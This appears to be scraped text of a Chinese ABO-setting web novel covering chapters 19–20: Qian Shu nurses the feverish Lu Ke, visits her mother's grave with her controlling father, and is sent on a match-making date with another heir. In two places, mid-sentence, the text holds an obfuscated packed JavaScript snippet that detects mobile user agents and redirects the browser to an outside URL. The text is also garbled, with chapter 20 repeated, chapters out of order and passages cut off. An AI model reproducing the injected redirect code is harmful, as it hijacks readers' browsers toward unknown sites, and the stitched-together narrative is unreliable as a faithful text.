大学的时候,他们举家搬到了A市。这是贺诚军的意思,他认为A市更有发展前景,对企业发展更有帮助,千述对于他的决定没有资格置喙。 贺诚军很有野心,只是心思不在正道上。他自己就不是正经路子拼搏上来的,教导千述自然也是用一些不光彩的方法。 就比如说去追求陆恪。 他早就对大名鼎鼎的陆氏集团艳羡不已,想跟人家合作。但是自家企业能力实在够不上,尤其是千言集团交到贺诚军手里以后,每况愈下,和陆氏谈合作的机会都没有。 可是贺诚军哪里会这样放弃,他四方打听知道了集团一把手的儿子和千述在同一所学校读书,贺诚军的心思就活络起来。 说好听点是联姻,说难听点不就是把自己女儿往别人床上送吗? 所幸陆恪并不是一个好相处的人,性格乖张,脾气差劲,这些贺诚军在酒桌上早已听人大吐苦水过。那千述一个平庸的beta搞不定陆恪,实在是再正常不过的一件事了。 在那天和陆恪摊牌以后,千述就已经跟贺诚军说了。陆恪实在是对她没兴趣,让贺诚军换个办法,不要在她这里浪费时间。 贺诚军当时十分生气,怒骂千述,说养了她这么多年都是白养的。又说beta有什么用,甚至没办法用信息素勾引alpha。 千述前面听着贺诚军的辱骂,只是垂首沉默不语,像一座没有感情的雕像。到后面他大骂beta无用时,千述忍无可忍,摔门而出。 这是千述第一次态度如此恶劣的忤逆贺诚军。 到现在贺诚军已经断了她的所有经济来源,其实这也是他早就想做的。 ...... 到了云栖御庭的时候,师傅提醒,千述才回过神了。她紧了紧衣服,推开车门。 冬天的空气非常冷冽,呼吸一口进肺里,甚至有种吸进冰碴的感觉。在外面只待了一会儿,千述的眼镜就起雾了。 因为圣诞节,云栖御庭的物业也开始张灯结彩,甚至布置得比外面的商场还要好看。这个小区本来就是A市数一数二的的高档小区。 方知明时常出入这边,陆恪为了方便就把方知明的信息录入了,也算是这里业主。千述到了云栖御庭以后,方知明跟安保人员打了招呼,有人给她开了小区大门,刷了电梯。 电梯到了17楼以后,缓缓打开。云栖御庭这边都是一梯一户的户型,所以每套房的面积都很大。 推开陆恪家门的时候,屋内一片漆黑,没有开灯。远处城市的霓虹灯透过落地窗洒进来,微弱的光线在地板上拉出长长的影子。窗外城市的灯火在夜色中闪烁,车流如光带般穿梭。 千述站在门口,停顿了两秒,寂静和孤独扑面而来。远处繁华的城市喧嚣,与空旷房间的静谧形成极致的对比,让人恍惚。 陆恪每次回家都是这样的感受。 千述打开门口的灯,玄关柔和的灯光将方才的黑暗驱散,随后转身将门关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074350|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 上次来的时候,千述并没有多看,对于房子的格局也只有一个大概的了解。 自从那次争吵以后,千述已经不准备再去打扰陆恪。是的,千述将自己之前所做的行为称之为打扰。想必陆恪本人也是这么想的。 追求陆恪并非千述的本意,她对陆恪没有太多的感觉,也不喜欢alpha。上次的轻吻只能说是酒精驱使下的意乱情迷,算不了什么。 因此她对很多事情都没有上心,所以陆恪骂她虚伪也是实话。在这件事情上面,千述确实不是一个真诚的人。 千述以为他们以后都不会再有交集了。 没想到还能再次来到这里,真是熟悉又陌生。 “陆恪。”千述在门口喊了一声。 等待了两秒,没人应,千述才往里面走。 千述提着手里买的退烧药,走了进去。这屋里太黑,千述打开客厅的灯,瞬间整个空间都变得明亮起来。 客厅空空如也,没人。 千述推开卧室门,开灯。 大床上,陆恪静静的躺着,被子凌乱的搭在他的身上,一张脸烧得绯红。 ...... 陆恪不是一个会照顾自己的人。 所以他前几天咳嗽的时候,反而是方知明先发觉的。 这段时间陆恪做事情越发的肆无忌惮,什么事情刺激危险,他就去做什么。 有时候方知明很想劝劝他,但是又劝不住。 在一天方知明和陆恪从酒吧里出来的时候,方知明看着陆恪的脸色苍白,有点担心。 “陆哥,你是不是生病了,要不去医院一趟。”方知明顶着冷风,哆哆嗦嗦劝道。 他是真的冷啊! A市冬天的冷风,冷冽得像是刀子刮在人的身上。但是陆恪穿得很单薄,刚才在包厢里还没觉得有什么,现在一出来被风一吹,方知明都觉得脸被刮得疼。 陆恪眼神瞥了过来,没说话,径直上了车。好吧,这就是让方知明闭嘴的意思。 后来方知明就去了日本,把这件事抛在脑后。 陆恪陷入了昏迷,他以为自己只是普通的感冒,头有点疼,睡一觉就好了。这几年他从老宅里搬出来自己一个人住,他一直都是这样对付生病的。 睡一觉就好了。 他甚至连自己陷入了昏迷都不知道,只以为是困,想睡觉。迷迷糊糊的,睡了又醒,醒了又睡。 陆恪做了很多梦,光怪陆离的,有很多的都是小时候。 只有偶尔会梦见那个女beta漆黑,平静的双眼。 千述的瞳仁是黝黑的,很深很深。有时候她在做那些拙劣的表演的时候,她的眼睛是冷漠的,是没有动情的。 可能千述对此并不知情,但是被这双眼睛注视着的陆恪却看得分明。 所以在陆恪微微睁眼,看到这双漆黑眼眸中带着从未见过的,浅浅的担忧神色时。 他眉头皱起,翻个身,扯住被子盖住头。 真是病糊涂了,梦到铁树开花了。 20、第20章 哪怕是实习生,也是工作的牛马。因此正月十五还没过,千述就已经开始上班了。 千述很喜欢这种生活中的忙碌,这会让她有一种掌控自己人生的感觉。如果将大把的时间用来浪费,千述会有负罪感。 她并不是一个可以心安理得享受生活的一个人。她的这种焦虑来源于她幼时生活的一些不太美好的经历。 虽然说最冷的冬天已经过去,但是a市的温度也没有上升多少。尤其是a市风大,依旧需要穿着羽绒服,裹着围巾。 因为这个工作是在外企,没有加班文化,所以下班时间很准时。 “elowen,这附近最近开了家泰式餐厅,要一起去吗?” 在公司门口,几个年纪稍长的同事跟千述打招呼。天色快黑了,正是吃饭的时候。 千述指了指手机,微微一笑,道:"恐怕去不了,今天有些事情。" “是去约会的吧,”有位omega同事瞥了眼千述的手机,暧昧一笑,揶揄道,“还是年轻好,随时都可以约会。到我们这个年纪,下班了就只有回家,无趣的很。” 有同事也连忙附和这位omega,不让他的话落地,想来他在公司职位不低。 千述在旁边微笑着没说话。 打的车很快就来了,千述跟众人告别便上了网约车。 电梯上升,最后在建筑的顶层缓缓打开。这家西餐厅位于市中心最高建筑的顶层,仿佛悬浮于空中,俯瞰整个城市的繁华与喧嚣,是名流显贵的聚集地。 “您好女士,请问您有预约吗?”电梯门一打开,就有侍者温柔的上前询问。 千述报了自己的信息,便有侍者在前面给她带路。他们最后停留在一个靠窗的位置,这里视野极佳,透过落地窗可以俯瞰整个城市的夜景。 待千述坐好以后,侍者微微俯身询问:“女士,现在需要给您上菜吗?” 千述摇头,拒绝:“不用,我在等人。” “好的。”侍者退了下去。 千述来的早一些,安静的坐在位置上,她转头看着窗外,侧脸白皙柔和。其间有侍者端了杯温水过来,轻轻的放在桌上,又离开。 这次千述等待的是福丰集团的二公子,alpha,刚从美国留学回来。 福丰集团是a市本地的一个制造企业,主要生产的是电子零件。规模不算小,只不过与陆氏集团这样的商业帝国相比,那完全就是小巫见大巫,没得比。 a市的夜景是繁华梦幻的,从高处俯瞰,就像是瑰丽的画卷在缓缓展开,铺陈在眼前。 如果是曾经的千述,可能一辈子也没有机会踏足这里,更不要说欣赏这样绚烂的夜景。 …… 千述在前几天回了一趟家。 那套别墅依旧是冷冷清清,冰凉凉的样子。千述回去的时候,贺诚军正在吃早饭,傲慢冷漠,看都不看千述一眼。 他吃完早餐,低垂着眼,用餐巾纸擦嘴。千述站在一边,沉默无声。 许久贺诚军才抬眼看向千述,没说话,依然是等着千述先低头。 “父亲。”千述低着眼,语气平淡道。 贺诚军冷笑一声,道:“你还知道有我这个父亲,我以为你的翅膀硬了,要飞走了。” 千述沉默着不说话,不为自己辩驳。 之前摔门出去,是千述对贺诚军做过的最为忤逆的行为。其实从小到大,千述面对着贺诚军几乎都是现在这般,沉默寡言的。 看到千述妥协,低眉顺眼的样子,贺诚军的面色终于好看了一点,找回了那种将千述牢牢控制的感觉。 “走吧。”贺诚军起身,整理了一下自己的衣服,道,“早点去,早点回来,我还有工作要处理。” “好。”千述跟在贺诚军后面。 从a市飞到s市,大概需要两个小时,早上11点出发,他们下午1点左右,就到了s市。 s市是一个雾蒙蒙的城市,冬天的时候阳光很少,天空总是灰暗,让人觉得无端压抑。 飞机落地s市的时候,这边正在下着小雨。 不同于毁天灭地的滂沱大雨,s市的雨是淅淅沥沥的,缠缠绵绵的落在你的身上,然后浸湿你的衣物,后知后觉的让你感到阴冷潮湿。 路上到处都是湿漉漉的一片,贺诚军脸色不太好看,他低声斥了一句:“真是见鬼的天气,每次回来都是这样。” 千述跟在他的身后,抬头看着天空。雨轻轻落在千述的脸上,像是母亲温柔的抚摸。 千朝的墓地在s市的城郊,与机场一个南,一个北,完全在两个方向,几乎贯穿了整个s市。因为下了雨,路上堵车,原本2个小时的路程,开了3个半小时才到。 贺诚军的脸色已经沉得快要滴下水来。 他本身就不想来祭奠一个死人的坟墓,奈何千述低了头求他去,再加上以他丈夫的身份不去的话,容易被人诟病。所以贺诚军才答应来的。 贺诚军对千朝是没有感情的。 他之前只是个穷小子,虽说是名牌大学的高材生,但若是无人提拔,那他的人生轨迹就定下来了,顶破天了奋斗到中层。 贺诚军长得好看,机缘巧合之下,认识了千言集团的大小姐,千朝。 可是,贺诚军是alpha,天性就是喜欢omega的,他对千朝这个病弱的beta根本不感兴趣。但钱财诱人,贺诚军有野心,所以那些alpha的生理需求就被他压了下去。 他开始追求千朝,最后得偿所愿,攀上了高枝。从一个挤在出租屋里的打工人,摇身一变成为开着豪车的大老板。 贺诚军本就是靠着攀高枝得到了权势,现在教导千述,自然也是让她去攀高枝。 毕竟谁不喜欢走这样轻松的捷径呢。 到了墓园的时候,时间还在下午,但是因为天气太差,能见度低,所以看着就像夜晚降临。 四周黑黝黝一片,再加上墓园这边人烟稀少,格外冷清,显得有些阴森。 墓碑上那张照片,是一个极年轻的女人。如果问年龄,看着就比现在的千述大几岁的样子,不像妈妈,倒像是千述的姐姐。 这张照片是千述选的,她没有选千朝后面几年形销骨立,瘦弱的模样。她想别人途经这个墓碑时,看到的是千朝年轻,美丽的样子。 她很温柔的笑,柔和的眼神通过照片注视着千述,就好像跨越过时间的洪流,还陪伴在千述身边。 贺诚军站在墓碑面前,看着千朝的照片,难得的也变得沉默起来。 毕竟是曾经生活过二十几年的人,再是不喜,也随着生命的消逝,烟消云散了。 两人撑着雨伞,站在烟雨蒙蒙的墓园,气氛沉郁。 良久,贺诚军开口,在雨幕中的声音低沉。 “千述,我们对你的养育之恩,是需要回报的。我想你应该明白,我让你做的所有事情,都是为了让千言集团再上一个台阶。” “千言集团,是千朝留下来的东西。” 贺诚军黑沉沉的眼神落在墓碑上,他说的每一个字,与千朝柔和的视线交织在一起。犹如千钧重的丝线一般,缠绕在千述身上,慢慢的挤压,然后喘不上气来。 千述越发的沉默,捏着伞柄的指节,却变得苍白。 贺诚军说,既然追不上陆恪,那换一个人选。福丰集团的二公子,家里是做制造业的,也是个不错的选择,去接触他。 “千述,你总要为千朝付出些什么。” s市的雨,太轻太冷,落到千述的身上,带着刺骨的寒意。这雨好像不会停一般,在千述的世界里安静的落着。 …… “不好意思,我来晚了,路上有些堵车。” 清越的声音在千述的身旁响起,将千述的心神从雨中的墓园拉了回来。 千述转头过来,看到的是一张灿烂的笑脸,很年轻明媚,像是加州午后的阳光。 alpha坐在了千述对面,语气带着微微的懊恼:“我本来已经提前半个小时出门了,但还是低估了a市的晚高峰,实在是太堵了!” “你等很久了吗?”alpha面带歉意的问道。 千述温和一笑,道:“没有,我也才刚到。” 其实并不是,千述在这里已经等了快半小时。但在社交中,她不会落了别人的面子,尤其是这种带着目的相亲。 “那就好,我没有迟到太久。”alpha笑道。 随后他又向千述伸出手,率先进行自我介绍:“你好,我叫张光宇,很高兴认识你!” “你好,我叫千述。”千述也伸出手,和对面的人轻握。 张光宇是一个很健谈的人,几乎都是他在说,千述在安静的倾听,只偶尔迎合他几句。 他今年刚从美国的nyu毕业,最近才回国。张光宇是家里的第二个孩子,上面还有个比他年长十岁的姐姐,也是alpha,继承家业。 所以张光宇的生活几乎没有什么压力,性格也十分开朗。 侍者一直留意着这一桌,看到客人来以后,便上前询问,是否可以上菜了。 精致的餐食被端了上来,牛排外焦里嫩,和黑胡椒的辛香交织在一起,再点缀两根迷迭香,看起来可口诱人。 千述没有什么胃口,但还是拿着刀叉,慢吞吞的切割着。 张光宇抬头看了一眼对面的女beta,眼神中没了方才的热情,带着审视。 清淡的长相,和他一贯交女朋友的热辣风格不太符合。性格也有些安静内敛,看起来会很古板保守,又是个beta。 不是他的菜。 不过他还没玩过这种类型,好像也可以试试。 张光宇的眼神又变得开朗,清澈。他看着千述,笑着问道:“这家的牛排好吃吗?我很久没回国了,a市好多的餐厅都没去吃过。” “还可以。”千述点头道。 随后她又抬眼,直视张光宇的双眸,轻轻一笑,道:“我可以带你去吃,a市的有几家餐厅我认为还不错。” 张光宇眼睛一亮,开心道:“那就太好了,我正愁一个人吃饭很孤单。” 千述的唇角微勾:“客气了。” 两个人你来我往的,说着那些心照不宣的,暧昧的话。但两个人内心都清醒且冷静,不过是逢场作戏罢了。 这边的氛围很好,但是另一边就不怎么样了。 “陆哥,你老跟你爸这样犟着,也不是个事儿啊!你连春节都不回去,孤零零的一个人。” 方知明走在陆恪旁边,今天还是他主动约陆恪出来吃饭的,不然真觉得陆恪一个人在家里修仙,不食五谷了。 “实话说,叔叔还有你那个弟弟,是很想让你回去的。你电话都不接,叔叔都给我打过来了,问我你最近在哪里。” 方知明絮絮叨叨的在旁边念着,他今天就是被派来当和事佬的。那是一个语重心长,苦口婆心。 陆恪面色冷淡,漫不经心,方知明的话穿耳就过,没留下痕迹。他的头发比之前更长了一点,被陆恪梳在脑后,头上架了个墨镜。 身高腿长,宽肩窄腰,典型的衣架子。一走进餐厅,就吸引了很多人的目光。 随性又锋利,是陆恪一贯的风格。 他们不在大厅吃饭,有单独的,安静雅致的隔间。 陆恪穿过餐厅,目光不期然落在窗边,随后脚步缓缓顿住。 方知明带着任务来的,眼里什么都注意不到。他看着陆恪停下脚步,还以为是在好心等他,感动极了。 “陆哥,你就稍微低个头,毕竟都是一家人,你何必……”方知明看着陆恪冰冷阴郁的眼神,意识到不对,慢慢闭上了嘴。 他随着陆恪的眼神看过去,便看到窗边那两个暧昧的身影。 方知明心中:我靠。 19. 第 19 章 “你离他远一点,我妈说他命硬,克人。” 开家长会的时候,陆恪的同学三三两两站在一起,对着走廊尽头的陆恪窃窃私语。 小孩子的恶意总是直接又纯粹,天真与残酷在他们身上交织。 陆恪小时候的性格远不像现在这般肆无忌惮,无法无天。他那个时候很自闭,在学校里不爱讲话,只喜欢坐在教室的最后,靠着墙壁。 他读的小学是那种私立的贵族学校,能在这所学校读书的孩子,家里的资产都不会低。虽然不及陆家,但也是在上层圈子里的。 今天开家长会,陆恪又是家里的管家出席。 老师和同学早已见怪不怪,因为陆老爷子很忙,没有时间,所以陆恪的家长会从来都是他家里的管家来开的。 记得那年陆恪七岁,和现在的陆昱辰一个年纪。 大家都是一个圈子里的,小孩子或许不是很清楚,但是大人多多少少都知道陆恪家里的一些事情。有时候就会当做闲谈,跟小孩子说,然后又传到学校里。 “他爸爸妈妈呢?怎么从没有见他们来接陆恪放过学。”有人问道。 其中一个小孩知道的稍微多一些,他捂着嘴,压低声音道:“你不知道吗?” 他偷偷的瞥了一眼趴在栏杆上的陆恪,阳光洒落在陆恪的脸上,干净又纯洁。 “他爸爸不喜欢他,在他一岁的时候就把他扔在家里,远赴国外,很少回来的。”小孩信誓旦旦道。 “扔”这个字,就仿佛陆恪是一个讨人厌恶的垃圾。 “啊?为什么!”好多同学都是第一次听到陆恪的家里的事,大吃一惊。 陆恪家世太盛,理所当然的,大家会觉得他受尽宠爱。哪怕是性格孤僻,在他身上也成为了无伤大雅的小特点,受人追捧。 有喜欢陆恪的omega对此感到愤慨,问道:“那他妈妈呢,难道没有跟他爸爸吵架吗?怎么会有爸爸不管自己的小孩!” “吵架?”消息灵通的小孩笑。 他比别人知道更多的内幕,享受同学目光的追随,从而产生了优越感。 “陆恪,他根本就没有......” 拳头猝不及防的砸在他的脸上,后面的话被迫咽回了喉咙里。几乎所有人都懵了,愣愣的看着地上交缠的两个身影。 这是陆恪第一次打架,他就像小狼崽子一样,咬住了敌人的血肉不肯松口。眼神发狠,整张脸因为愤怒而显得有些可怖。 陆恪的拳头很稚嫩,但还是依稀能够感受出来自高阶alpha的压迫。 现场尖叫声一片,大家的年纪还太小,面临这种情况都被吓坏了,有人急忙去找老师。 等老师将两个人拉开的时候,那个说闲话的小孩乳牙都被打掉了两颗。 尽管现场谁先打人已经一目了然,但是因为这件事涉及到陆恪,老师不能立刻下了判断。 老管家从教室匆匆赶来,他将年幼的陆恪拉到了自己身后。 妥帖周到的说,这件事他会处理。 后续如何发展,陆恪已经不关心了。只是自那以后,陆恪的性格就开始了翻天覆地的变化,他行为处事越发乖张,性格也越发激进。 到了小学毕业,陆恪坚决不愿意去私立中学。陆老爷子对他的话言听计从,给他安排了A市最好的初中。 ...... 陆恪又梦到了以前的事情,他生病的这段时见,就总是梦到小时候。 他醒来的时候已经到了第二天早上,昨天晚上吃了退烧药,很快就因为药里安眠的成分,陷入沉睡。 陆恪也不知道自己为什么会挽留那个女beta,希望她可以留下来。话一说出口他就后悔了,觉得自己脑子有病。 当时千述站在门边,黑暗中的陆恪看着她的身影,恍惚觉得她是站在光里的。 千述只怔了一下,随后语气平淡道:“睡吧。” 她关上了门,房间里彻底陷入了黑暗。 因为长久的高烧,陆恪的面色依旧苍白。好在他现在还年轻,身体素质好,吃了药睡一觉就退烧了。 陆恪在床上躺了一会,他睁眼看着天花板,安静沉默。 那个女beta应该走了吧,她应该不会想要留下来。 从卧室里出去的时候,陆恪赤着脚踩在地板上。A市冬天会供暖,圣诞节这段时间正是最冷的时候,室外冰天雪地,但是屋里就很温暖。 屋里很安静,是陆恪习惯的样子。他简单洗漱一下,径直走到冰箱,又想去拿冰水。 一只手从后面按在冰箱门上。 “生病了就不要再喝冰的。”千述有些寡淡的声音从身后传来。 陆恪眉眼怔松,似乎有些没回过神来。他慢慢转过身来,看着面前的千述,没说话。 千述收回手,她垂眼看着陆恪赤裸的脚,干净修长。千述道:“去穿鞋,然后来吃早饭。” 本来千述自己是不喜欢吃早饭的,她没有吃早饭的习惯。但是方知明给了钱,也不好太糊弄,于是她醒的时候就直接点了个外卖。 外卖的早餐比千述自己做的好吃太多,这点千述还是有自知之明的。 陆恪看着千述,低声道:“我以为你昨晚走了。” 自从陆恪生病,身上那股嚣张气焰就散了很多,整个人像是被雨打湿的小流浪猫。 “哦,这个啊。”千述向沙发那边看了看,“昨晚太晚了,我睡的那里。” 陆恪家是意大利进口的沙发,尺寸大又很柔软,晚上躺着睡觉绰绰有余。千述昨晚随便扯了条毯子盖着就睡了,她不讲究那些。 其实昨天晚上,千述去了陆恪的房间很多次,但是陆恪睡得沉不知道。主要还是担心陆恪半夜烧起来,如果吃了药还不退烧的话,就算是陆恪排斥,千述都要把人带去医院的。 还好快到早上的时候,陆恪退烧了。千述一晚上没怎么睡觉,又想着反正天快亮了,那不如直接通宵。 还是年轻,熬了一个通宵也精神饱满。 陆恪慢吞吞的吃着千述买的热粥,千述坐在他的对面。 他其实没什么胃口,粥喝在嘴里也觉得没啥味儿。但是不知为何,在千述眼神的注视下,陆恪就是不敢抬眼看她,只能低着头安静的喝粥。 “你这几天还是要好好照顾自己,忌生冷辛辣的食物,也要注意保暖,衣服多穿一点。”千述开始例行公事的念着叮嘱病患的话术,就像是走流程一样没有感情。 陆恪低着头,睫毛颤了颤,低声回复:“好。” 后面千述也没什么话好说了,撑着脸百无聊赖的看陆恪吃饭。 等陆恪吃完早餐以后,千述觉得自己的任务完成。她没有多作停留,起身去沙发那边拿自己的东西。 她真的要回寝室补觉了,果然每一笔钱都不是那么好赚的。 “那我先走了。”千述干脆的挥挥手,往门边走。 陆恪看着千述的背影 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千述一个人住在外面冷清了很多,不过她还挺享受这种安静的感觉,觉得很自在。 新年到的那天,寝室群里打视频,开始红包接龙。谁最幸运成了手气最佳的人,那么她就需要发下一个红包。 谢宁就特别喜欢玩这种接龙,她傻傻的,最开心的就是自己是手气王。向曼青在视频里说她人傻钱多,谢宁哈哈大笑,她说:“无所谓嘛,讨个好彩头。” 也确实,她们玩的也就是个乐趣,并没有攀比说一定要发多大的红包。 这样的好日子,时谨也给千述封了一个大红包。她出手就大方的多,抵得上千述一个月的实习工资。 陆昱辰前段时间的奥数比赛得到了第一名,时谨特别开心,千述还刷到了时谨发的朋友圈。 当时,千述看了这条朋友圈很久,哪怕是从字里行间,也能读出时谨对于陆昱辰的满心满眼的爱。 真是让人羡慕。 时谨情商很高,她让千述将红包收了,说:“陆昱辰能在奥数上拿奖,都要归功于千述老师。” 千述不敢托大,她在手机里回复:“还是因为陆昱辰天赋好,才能在比赛中拿奖,同时也离不开家长的悉心照顾。” 两人你来我往的说着客气话,时谨听到了好话开心,千述得到了红包也开心。 除夕的出租屋,ipad上放着春晚热热闹闹的歌舞表演,将寂静驱散了很多。 A市春节禁燃烟花爆竹,但是还是会有人偷偷的放。千述看到窗外响起的鞭炮声,抬头去看,正好就看到烟花绽放在夜空中,绚丽又梦幻。 千述站起身,往窗边走去,拿起手机拍了一张。 她住的地方有点偏,视野不算太好,但还是能看到一些在高空中绽放的烟花。她将这张照片发到了朋友圈。 千述很少发朋友圈,诈尸般出现,还有挺多人给她点赞。 罗玉兰第一个给她点赞,然后亲亲热热的在下面评论说,宝宝新年快乐。 千述嘴角微勾,跟人机一样,开始一一回复收到的评论。 快到12点了,春晚的节目也到了尾声,开始阖家团圆的大合唱。 千述已经收拾好,躺上了床,无所事事的刷着手机。 微信里突然跳出了一条消息,千述微怔。 陆恪:“新年快乐,” 20. 第20章 哪怕是实习生,也是工作的牛马。因此正月十五还没过,千述就已经开始上班了。 千述很喜欢这种生活中的忙碌,这会让她有一种掌控自己人生的感觉。如果将大把的时间用来浪费,千述会有负罪感。 她并不是一个可以心安理得享受生活的一个人。她的这种焦虑来源于她幼时生活的一些不太美好的经历。 虽然说最冷的冬天已经过去,但是A市的温度也没有上升多少。尤其是A市风大,依旧需要穿着羽绒服,裹着围巾。 因为这个工作是在外企,没有加班文化,所以下班时间很准时。 “Elowen,这附近最近开了家泰式餐厅,要一起去吗?” 在公司门口,几个年纪稍长的同事跟千述打招呼。天色快黑了,正是吃饭的时候。 千述指了指手机,微微一笑,道:"恐怕去不了,今天有些事情。" “是去约会的吧,”有位omega同事瞥了眼千述的手机,暧昧一笑,揶揄道,“还是年轻好,随时都可以约会。到我们这个年纪,下班了就只有回家,无趣的很。” 有同事也连忙附和这位omega,不让他的话落地,想来他在公司职位不低。 千述在旁边微笑着没说话。 打的车很快就来了,千述跟众人告别便上了网约车。 电梯上升,最后在建筑的顶层缓缓打开。这家西餐厅位于市中心最高建筑的顶层,仿佛悬浮于空中,俯瞰整个城市的繁华与喧嚣,是名流显贵的聚集地。 “您好女士,请问您有预约吗?”电梯门一打开,就有侍者温柔的上前询问。 千述报了自己的信息,便有侍者在前面给她带路。他们最后停留在一个靠窗的位置,这里视野极佳,透过落地窗可以俯瞰整个城市的夜景。 待千述坐好以后,侍者微微俯身询问:“女士,现在需要给您上菜吗?” 千述摇头,拒绝:“不用,我在等人。” “好的。”侍者退了下去。 千述来的早一些,安静的坐在位置上,她转头看着窗外,侧脸白皙柔和。其间有侍者端了杯温水过来,轻轻的放在桌上,又离开。 这次千述等待的是福丰集团的二公子,alpha,刚从美国留学回来。 福丰集团是A市本地的一个制造企业,主要生产的是电子零件。规模不算小,只不过与陆氏集团这样的商业帝国相比,那完全就是小巫见大巫,没得比。 A市的夜景是繁华梦幻的,从高处俯瞰,就像是瑰丽的画卷在缓缓展开,铺陈在眼前。 如果是曾经的千述,可能一辈子也没有机会踏足这里,更不要说欣赏这样绚烂的夜景。 …… 千述在前几天回了一趟家。 那套别墅依旧是冷冷清清,冰凉凉的样子。千述回去的时候,贺诚军正在吃早饭,傲慢冷漠,看都不看千述一眼。 他吃完早餐,低垂着眼,用餐巾纸擦嘴。千述站在一边,沉默无声。 许久贺诚军才抬眼看向千述,没说话,依然是等着千述先低头。 “父亲。”千述低着眼,语气平淡道。 贺诚军冷笑一声,道:“你还知道有我这个父亲,我以为你的翅膀硬了,要飞走了。” 千述沉默着不说话,不为自己辩驳。 之前摔门出去,是千述对贺诚军做过的最为忤逆的行为。其实从小到大,千述面对着贺诚军几乎都是现在这般,沉默寡言的。 看到千述妥协,低眉顺眼的样子,贺诚军的面色终于好看了一点,找回了那种将千述牢牢控制的感觉。 “走吧。”贺诚军起身,整理了一下自己的衣服,道,“早点去,早点回来,我还有工作要处理。” “好。”千述跟在贺诚军后面。 从A市飞到S市,大概需要两个小时,早上11点出发,他们下午1点左右,就到了S市。 S市是一个雾蒙蒙的城市,冬天的时候阳光很少,天空总是灰暗,让人觉得无端压抑。 飞机落地S市的时候,这边正在下着小雨。 不同于毁天灭地的滂沱大雨,S市的雨是淅淅沥沥的,缠缠绵绵的落在你的身上,然后浸湿你的衣物,后知后觉的让你感到阴冷潮湿。 路上到处都是湿漉漉的一片,贺诚军脸色不太好看,他低声斥了一句:“真是见鬼的天气,每次回来都是这样。” 千述跟在他的身后,抬头看着天空。雨轻轻落在千述的脸上,像是母亲温柔的抚摸。 千朝的墓地在S市的城郊,与机场一个南,一个北,完全在两个方向,几乎贯穿了整个S市。因为下了雨,路上堵车,原本2个小时的路程,开了3个半小时才到。 贺诚军的脸色已经沉得快要滴下水来。 他本身就不想来祭奠一个死人的坟墓,奈何千述低了头求他去,再加上以他丈夫的身份不去的话,容易被人诟病。所以贺诚军才答应来的。 贺诚军对千朝是没有感情的。 他之前只是个穷小子,原本是个销售。他长得好看,嘴又甜,业绩节节攀升。机缘巧合之下,认识了千言集团的大小姐,千朝。 可是,贺诚军是alpha,天性就是喜欢omega的,他对千朝这个病弱的beta根本不感兴趣。但钱财诱人,贺诚军有野心,所以那些alpha的生理需求就被他压了下去。 他开始追求千朝,最后得偿所愿,攀上了高枝。从一个挤在出租屋里的打工人,摇身一变成为开着豪车的大老板。 贺诚军本就是靠着攀高枝得到了权势,现在教导千述,自然也是让她去攀高枝。 毕竟谁不喜欢走这样轻松的捷径呢。 到了墓园的时候,时间还在下午,但是因为天气太差,能见度低,所以看着就像夜晚降临。 四周黑黝黝一片,再加上墓园这边人烟稀少,格外冷清,显得有些阴森。 墓碑上那张照片,是一个极年轻的女人。如果问年龄,看着就比现在的千述大几岁的样子,不像妈妈,倒像是千述的姐姐。 这张照片是千述选的,她没有选千朝后面几年形销骨立,瘦弱的模样。她想别人途经这个墓碑时,看到的是千朝年轻,美丽的样子。 她很温柔的笑,柔和的眼神通过照片注视着千述,就好像跨越过时间的洪流,还陪伴在千述身边。 贺诚军站在墓碑面前,看着千朝的照片,难得的也变得沉默起来。 毕竟是曾经生活过二十几年的人,再是不喜,也随着生命的消逝,烟消云散了。 两人撑着雨伞,站在烟雨蒙蒙的墓园,气氛沉郁。 良久,贺诚军开口,在雨幕中的声音低沉。 “千述,我们对你的养育之恩,是需要回报的。我想你应该明白,我让你做的所有事情,都是为了让千言集团再上一个台阶。” “千言集团,是千朝留下来的东西。” 贺诚军黑沉沉的眼神落在墓碑上,他说的每一个字,与千朝柔和的视线交织在一起。犹如千钧重的丝线一般,缠绕在千述身上,慢慢的挤压,然后喘不上气来。 千述越发的沉默,捏着伞柄的指节,却变得苍白。 贺诚军说,既然追不上陆恪,那换一个人选。福丰集团的二公子,家里是做制造业的,也是个不错的选择,去接触他。 “千述,你总要为千朝付出些什么。” S市的雨,太轻太冷,落到千述的身上,带着刺骨的寒意。这雨好像不会停一般,在千述的世界里安静的落着。 …… “不好意思,我来晚了,路上有些堵车。” 清越的声音在千述的身旁响起,将千述的心神从雨中的墓园拉了回来。 千述转头过来,看到的是一张灿烂的笑脸,很年轻明媚,像是加州午后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张光宇眼睛一亮,开心道:“那就太好了,我正愁一个人吃饭很孤单。” 千述的唇角微勾:“客气了。” 两个人你来我往的,说着那些心照不宣的,暧昧的话。但两个人内心都清醒且冷静,不过是逢场作戏罢了。 这边的氛围很好,但是另一边就不怎么样了。 “陆哥,你老跟你爸这样犟着,也不是个事儿啊!你连春节都不回去,孤零零的一个人。” 方知明走在陆恪旁边,今天还是他主动约陆恪出来吃饭的,不然真觉得陆恪一个人在家里修仙,不食五谷了。 “实话说,叔叔还有你那个弟弟,是很想让你回去的。你电话都不接,叔叔都给我打过来了,问我你最近在哪里。” 方知明絮絮叨叨的在旁边念着,他今天就是被派来当和事佬的。那是一个语重心长,苦口婆心。 陆恪面色冷淡,漫不经心,方知明的话穿耳就过,没留下痕迹。他的头发比之前更长了一点,被陆恪梳在脑后,头上架了个墨镜。 身高腿长,宽肩窄腰,典型的衣架子。一走进餐厅,就吸引了很多人的目光。 